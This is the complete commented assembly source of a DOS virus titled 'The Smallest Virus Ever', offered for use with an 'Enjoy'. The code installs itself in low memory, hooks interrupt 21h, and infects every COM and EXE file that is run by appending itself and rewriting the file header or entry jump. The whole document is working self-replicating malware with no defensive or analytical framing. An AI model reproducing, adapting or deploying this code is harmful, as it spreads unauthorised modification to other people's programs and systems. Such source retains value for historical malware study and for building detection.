      ;=========================;
      ; THE SMALLEST VIRUS EVER ;
      ;-------------------------;
      ;    Made by  Super       ;
      ;=========================;

; This is a memory-resident infector of COM & EXE files on execution
; it doesn't reinfect memory or files...  AND IT'S 168 BYTES LONG!!!

; I've used the Wolfware Assembler (shareware)
; Enjoy

;--------------------------------------------------------------------------

             org 0
vir_start
             call pop_si    ;
pop_si                      ; SI=start of virus
             pop si         ;
             sub si,3
             mov dx,es    ; Save ES register
             cs:                ; Calculate program entry segment
             add [si+30h],dx    ;  for both EXE & COM
             sub cx,cx      ;
             mov es,cx      ; 0000:0200 to 0000:2D9 --> Hole for the virus
             mov di,22eh    ;  (0020:0000 to 0020:001F: header of file)
             es:            ;  (0020:002E to 0020:00D9: virus' code)
             cmp [di],cx    ; Test if it's already resident
             jnz exit       ;
             mov cl,(vir_len+1)/2    ; (CH is already zero)
             cld                     ;
             rep                     ; Copy the virus to memory
             cs:                     ;
             movsw                   ;
set_int21
             mov ax,25h                         ;
             es:                                ;
             xchg ax,[di+84h-(vir_len+22eh)]    ; Save interrupt 21
             stosw                              ;  & set it to 0025:0025
             cmc                                ;      (=0020:0075)
             jb set_int21                       ;
exit
             mov es,dx    ; Restore ES register
             db 0eah     ;
jump                     ; Far jump to the entry point of the program
             dw 0000h    ;  (all zeros mean to jump to PSP:0=INT 20)
             dw 0000h    ;


infect_exe
             div word [si+6dh]    ; Calculate number of paragraphs
                                  ; (si+6dh) points to 0010h contained
                                  ;    in the instruction: add ax,10h
             sub ax,[si+8h]    ; Adjust for the header size
             xchg ax,[si+16h]    ; Store new CS
             xchg dx,[si+14h]    ; Store new IP
             add ax,10h    ; Adjust for the PSP
             add byte [si+2h],cl    ; Calculate part-page at EOF
                                    ; It does not reinfect because
                                    ;  the carrier flag will be set
                                    ;  and tested in "write_jump"
             xchg dx,ax         ; AX=old IP
             jmps write_jump    ; DX=old CS


int21
             push ax    ; Save AX register
             sub ax,4b00h      ; Infect on execute
             jnz exit_int21    ;
infect
             push bx    ; Save registers
             push dx    ;  (don't need to save CX,SI,DI,BP,ES)
             push ds    ;
             xchg si,ax    ; SI=0000
                             ; Open file --->BX=handle
             mov ax,3d92h    ;  bits 0-2=2--> read & write access
             int 21h         ;  bits 4-6=1--> prohibit access by others
             xchg bx,ax      ;  bit 7=1--> private for current process
             mov ah,3fh       ;
             mov cx,20h       ; Read first 20h bytes from the file
             mov ds,cx        ;
             cwd              ; (DS:DX=0020:0000)
             int 21h          ;
             xor cx,ax    ; Exit if the file is smaller than 20h bytes
             jnz close    ;
             mov ax,4202h    ; Seek to EOF
             int 21h         ; (CX & DX are already zero)
             mov cl,vir_len
             cmp byte [si],'M'    ; Test if file is EXE
             jz infect_exe        ;
infect_com
             cmp byte [si],0e9h    ; Test if the file starts with a jump
             jnz close             ;
             dec ax    ;
             dec ax    ; (The jump takes 3 bytes)
             dec ax    ;
             xchg ax,[si+1]    ; Store the jump to the virus
             add ax,103h    ; Calculate the offset where the program jumps
             cmp [si+1],ax    ; Test if the file is infected
                              ; (if the jump is 100h bytes before the EOF)
write_jump
             jb close    ; Exit if the file is already infected
             mov [si+5ch],ax    ; Store the program entry point
             mov [si+5eh],dx    ;
             mov dx,2eh    ; (0020:002E is the start of the code)
             mov ah,40h    ; Write virus to the end of the file
             int 21h       ; (CX is already the length of the virus)

write_hdr
             mov ax,4200h    ;
             cwd             ; Seek to the start of file
             mov cx,dx       ;
             int 21h         ;
             mov ah,40h    ; Write header to file
             mov cl,18h    ; (CH & DX are already zero)
             int 21h       ;
close
             mov ah,3eh    ; Close file
             int 21h       ;
             pop ds    ;
             pop dx    ; Restore registers
             pop bx    ;
exit_int21
             pop ax     ; Restore AX register
             db 0eah    ; Far jump to old interrupt 21

vir_end
vir_len equ offset vir_end - offset vir_start

;--------------------------------------------------------------------------
